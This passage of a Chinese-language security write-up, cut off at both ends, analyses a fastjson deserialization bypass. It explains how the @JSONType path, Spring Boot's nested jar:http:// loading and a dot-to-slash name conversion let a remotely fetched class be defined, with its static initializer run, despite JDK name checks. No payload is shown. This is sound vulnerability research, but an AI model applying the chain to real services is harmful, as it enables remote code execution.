style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">1、</span></span></span></strong></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">replace(&#39;.&#39;, &#39;/&#39;)</span></span></code></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">的意外导致了巧妙的构建，绕过了对于/的限制，也侧面绕开了对于远程加载的限制</span></span></span></strong></span></p><pre spellcheck="false" lang="javascript" cid="n285" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// ClassLoader.java</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">private</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">ProtectionDomain</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">preDefineClass</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">String</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">ProtectionDomain</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">pd</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(85, 85, 85);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">...</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">if</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> (</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">indexOf</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#39;/&#39;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) </span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">!=</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">-</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">1</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">throw</span></span></span><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">new</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">NoClassDefFoundError</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;IllegalName: &#34;</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">+</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(85, 85, 85);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">...</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></span></pre><p cid="n286" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">2、Spring Boot 的类加载器能解析 jar:http:// 嵌套 URL（这是 Spring Boot FatJar 加载嵌套 JAR 的正常功能）</span></span></span></strong></span></p><p cid="n287" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">3、</span></span></span></strong></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">@JSONType 注解</span></span></code></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">这个路径入口没有被额外限制，允许远程加载</span></span></span></strong></span></p><p cid="n288" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">这条链路远程加载回来的类被defineClass后，静态初始化块</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;clinit&gt;</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">会立即执行，不会走到后续的类型绑定，所以其他的限制也无效。</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n289" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">parseObject</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">body</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">Dto</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">class</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">生效之前的probe阶段就执行</span></span></span></span></pre><p cid="n290" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">但是问题接踵而至，如果原漏洞使用了这个路径，那么在高于JDK8的版本有这样一个限制</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n291" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">Class</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;?&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">loadClassInLaunchedClassLoader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">String</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">String</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">replace</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#39;.&#39;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#39;/&#39;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) </span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">+</span></span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;.class&#34;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">;  </span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// 构建资源路径</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">InputStream</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">is</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getParent</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">().</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getResourceAsStream</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);  </span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// 下载</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">byte</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">[] </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">bytes</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">readAll</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">is</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">return</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">defineClass</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">bytes</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">0</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">bytes</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">length</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);  </span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">//校验name</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></span></pre><p cid="n292" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在远程加载成功之后，紧接着defineclass，不同版本的jdk会有不同的限制</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n293" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">defineClass</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">字节码bytes</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">)</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">│</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">├─</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">Java层</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">: </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">preDefineClass</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">│</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">checkName</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name参数</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">)</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">│</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">校验的是</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">传入的name字符串</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">│</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">点号形式没有</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">，通过</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">│</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">└─</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">native层</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">: </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">defineClass1</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">parseClassFile</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">│</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">├─</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">第一轮</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">: </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">把字节码解析成常量池结构</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">│</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">此时常量池里的类名是字节码原始值</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">│</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: 